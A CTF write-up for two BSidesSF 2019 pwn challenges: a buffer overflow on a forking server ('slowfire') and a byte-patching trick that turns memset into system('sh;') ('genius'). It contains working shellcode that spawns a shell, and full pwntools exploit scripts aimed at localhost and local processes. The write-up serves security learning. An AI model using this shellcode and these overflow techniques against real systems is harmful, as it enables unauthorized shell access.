# BSidesSF 2019 CTF
###### tags: `2019 pwn challenge`
## slowfire
A basic bof problem, but the binary is like a server that forks the process and talks to it via a file descriptor.
We have to use dup2() to duplicate the socket's fd to fd 0 and fd 1, such that when we execute our shellcode, we can send input and see output from our shell.
I set the name to `/bin/sh\x00 + shellcode`, and return to it since it has RWX turned on.
#### shellcode
```
0: 48 31 f6 xor rsi,rsi
3: 48 c7 c0 21 00 00 00 mov rax,0x21
a: 0f 05 syscall
c: 48 ff c6 inc rsi
f: 48 c7 c0 21 00 00 00 mov rax,0x21
16: 0f 05 syscall
18: 48 c7 c7 c0 40 40 00 mov rdi,0x4040c0
1f: 48 31 f6 xor rsi,rsi
22: 48 31 d2 xor rdx,rdx
25: 48 c7 c0 3b 00 00 00 mov rax,0x3b
2c: 0f 05 syscall
```
#### final script
```python=
from pwn import *
p = remote('localhost', 4141)
shellcode = "\x48\x31\xF6\x48\xC7\xC0\x21\x00\x00\x00\x0F\x05\x48\xFF\xC6\x48\xC7\xC0\x21\x00\x00\x00\x0F\x05\x48\xC7\xC7\xC0\x40\x40\x00\x48\x31\xF6\x48\x31\xD2\x48\xC7\xC0\x3B\x00\x00\x00\x0F\x05"
p.recvuntil('name> ')
p.sendline('/bin/sh\x00'+shellcode)
p.recvuntil('message> ')
p.send('A'*0x3ff)
pause()
p.sendline('B'*0x39+p64(0x4040C0+8))
p.interactive()
```
## genius
The challenge gave us two binaries. The 'loader' reads the 'genius' on stack, then we can modify two bytes and exectue it.
The 'genius' binary doesn't seem to have any bugs, so we would have to patch the binary to make it exploitable.
Lets first look at how the patching is done. We can enter a secret code, each letter gets transfered into a 4 bit number, and each secret code(consist of 6 letters) represents an offset and a byte which we want to modify into. The rules looks like this
> offset = (v4 & 7|v3 & 8) | (v2 & 7 | v1 & 8)<<4 | (v5 & 7 | v4 & 8)<<8 | (v3 & 7)<<12
> byte = (v0 & 7 | v5 & 8) | (v1 & 7 | v0 & 8)<<4
> v0~5 are the first, second... last letter transfered to numbers
The first thing that caught my eye was the memset function called when we end the game. We also have the system.plt function. We can modify the call to memset to a call to system.
The second thing we would like to do is have the tetris board state to represent 'sh;' so the call to memset now becomes `system('sh;')`

Because it is pretty hard to represent 'sh;' at the lower board of tetris, we can modify the `push game_board_offset` to a higher offset so that we can focus on constructing the middle board state like the screenshot above.
> patch push 0x0804b1a0 --> 0x0804b1ab
I'm really bad at playing tetris so I copied the gameplay code by [this writeup](https://github.com/VoidHack/write-ups/tree/master/BSidesSF%202019%20CTF/pwn/genius)
secret code generator:
```python=
trans = {'A':0,'E':8,'G':4,'I':5,'K':12,'L':3,'N':15,'O':9,'P':1,'S':13,'T':6,'U':11,'V':14,'X':10,'Y':7,'Z':2}
def gen_code(offset, byte):
assert offset <= 0x2730
off_1 = offset & 0xf
off_2 = offset >> 4 & 0xf
off_3 = offset >> 8 & 0xf
off_4 = offset >> 12 & 0xf
b_1 = byte & 0xf
b_2 = byte >> 4 & 0xf
v0 = b_1 & 0x7 | b_2 & 0x8
v1 = b_2 & 0x7 | off_2 & 0x8
v2 = off_2 & 0x7
v3 = off_1 & 0x8 | off_4 & 0x7
v4 = off_1 & 0x7 | off_3 & 0x8
v5 = off_3 & 0x7 | b_1 & 0x8
num_to_code = {}
for key, val in trans.items():
num_to_code[val] = key
res = num_to_code[v0]+num_to_code[v1]+num_to_code[v2]+num_to_code[v3]+num_to_code[v4]+num_to_code[v5]
print res
return res
```
exploit script:
```python=
from secret_code import gen_code
from pwn import *
context.terminal = ['tmux','splitw','-h']
#context.log_level = 'DEBUG'
p = process('./loader')
p.recvuntil('continue!\n\n')
p.sendline(gen_code(0x1551, 0x8b))
p.recvuntil('<enter>\n')
p.sendline(gen_code(0x154c, 0xab))
#gdb.attach(p, '''
#set follow-fork-mode child
#continue
#''')
p.recvuntil('+----------+')
p.recvuntil('+----------+')
##
##
p.sendline('d')
p.sendline('d')
p.sendline('d')
p.sendline('d')
p.sendline('d')
p.sendline('s')
p.recvuntil('+----------+')
p.recvuntil('+----------+')
#
##
#
p.sendline('d')
p.sendline('d')
p.sendline('d')
p.sendline('d')
p.sendline('d')
p.sendline('d')
p.sendline('s')
p.recvuntil('+----------+')
p.recvuntil('+----------+')
#
###
p.sendline('a')
p.sendline('a')
p.sendline('a')
p.sendline('a')
p.sendline('a')
p.sendline('a')
p.sendline('a')
p.sendline('s')
p.recvuntil('+----------+')
p.recvuntil('+----------+')
#
###
p.sendline('e')
p.sendline('d')
p.sendline('d')
p.sendline('d')
p.sendline('d')
p.sendline('d')
p.sendline('d')
p.sendline('s')
p.recvuntil('+----------+')
p.recvuntil('+----------+')
##
##
p.sendline('d')
p.sendline('d')
p.sendline('d')
p.sendline('d')
p.sendline('d')
p.sendline('d')
p.sendline('d')
p.sendline('s')
p.recvuntil('+----------+')
p.recvuntil('+----------+')
#
##
#
p.sendline('s')
p.recvuntil('+----------+')
p.recvuntil('+----------+')
#
##
#
p.sendline('s')
p.recvuntil('+----------+')
p.recvuntil('+----------+')
#
###
p.sendline('q')
p.sendline('d')
p.sendline('d')
p.sendline('d')
p.sendline('s')
p.recvuntil('+----------+')
p.recvuntil('+----------+')
##
##
p.sendline('d')
p.sendline('d')
p.sendline('s')
p.recvuntil('+----------+')
p.recvuntil('+----------+')
#
##
#
p.sendline('a')
p.sendline('a')
p.sendline('a')
p.sendline('a')
p.sendline('a')
p.sendline('a')
p.sendline('s')
p.recvuntil('+----------+')
p.recvuntil('+----------+')
#
###
p.sendline('e')
p.sendline('a')
p.sendline('a')
p.sendline('s')
p.recvuntil('+----------+')
p.recvuntil('+----------+')
#
###
p.sendline('e')
p.sendline('d')
p.sendline('d')
p.sendline('s')
p.recvuntil('+----------+')
p.recvuntil('+----------+')
#
###
p.sendline('q')
p.sendline('d')
p.sendline('d')
p.sendline('d')
p.sendline('d')
p.sendline('s')
p.recvuntil('+----------+')
p.recvuntil('+----------+')
#
##
#
p.sendline('d')
p.sendline('s')
p.recvuntil('+----------+')
p.recvuntil('+----------+')
#
###
p.sendline('q')
p.sendline('a')
p.sendline('a')
p.sendline('a')
p.sendline('a')
p.sendline('a')
p.sendline('s')
p.recvuntil('+----------+')
p.recvuntil('+----------+')
####
p.sendline('q')
p.sendline('d')
p.sendline('d')
# p.sendline('s')
for i in range(13):
p.recvuntil('+----------+')
p.recvuntil('+----------+')
p.sendline('d')
p.sendline('s')
p.recvuntil('+----------+')
p.recvuntil('+----------+')
#
##
#
p.sendline('d')
p.sendline('d')
p.sendline('s')
p.recvuntil('+----------+')
p.recvuntil('+----------+')
##
##
p.sendline('a')
p.sendline('s')
p.recvuntil('+----------+')
p.recvuntil('+----------+')
#
###
p.sendline('q')
p.sendline('q')
p.sendline('s')
p.recvuntil('+----------+')
p.recvuntil('+----------+')
#
###
p.sendline('d')
p.sendline('s')
p.recvuntil('+----------+')
p.recvuntil('+----------+')
#
##
#
p.sendline('d')
p.sendline('d')
p.sendline('d')
p.sendline('d')
p.sendline('s')
p.recvuntil('+----------+')
p.recvuntil('+----------+')
####
p.sendline('q')
p.sendline('d')
p.sendline('d')
p.sendline('d')
p.sendline('d')
p.sendline('d')
p.sendline('s')
p.recvuntil('+----------+')
p.recvuntil('+----------+')
#
###
p.sendline('e')
p.sendline('e')
p.sendline('a')
p.sendline('s')
p.recvuntil('+----------+')
p.recvuntil('+----------+')
#
###
p.sendline('e')
p.sendline('d')
p.sendline('d')
p.sendline('s')
p.recvuntil('+----------+')
p.recvuntil('+----------+')
#
###
p.sendline('q')
p.sendline('d')
p.sendline('d')
p.sendline('d')
p.sendline('d')
p.sendline('d')
p.sendline('d')
p.sendline('s')
p.recvuntil('+----------+')
p.recvuntil('+----------+')
#
###
p.sendline('a')
p.sendline('a')
p.sendline('s')
p.recvuntil('+----------+')
p.recvuntil('+----------+')
#
###
p.sendline('s')
p.recvuntil('+----------+')
p.recvuntil('+----------+')
#
###
p.sendline('a')
p.sendline('a')
p.sendline('a')
p.sendline('a')
p.sendline('q')
p.sendline('a')
p.sendline('a')
for i in range(8):
p.recvuntil('+----------+')
p.recvuntil('+----------+')
p.sendline('d')
p.sendline('s')
p.recvuntil('+----------+')
p.recvuntil('+----------+')
p.sendline('s')
p.recvuntil('+----------+')
p.recvuntil('+----------+')
p.interactive()
```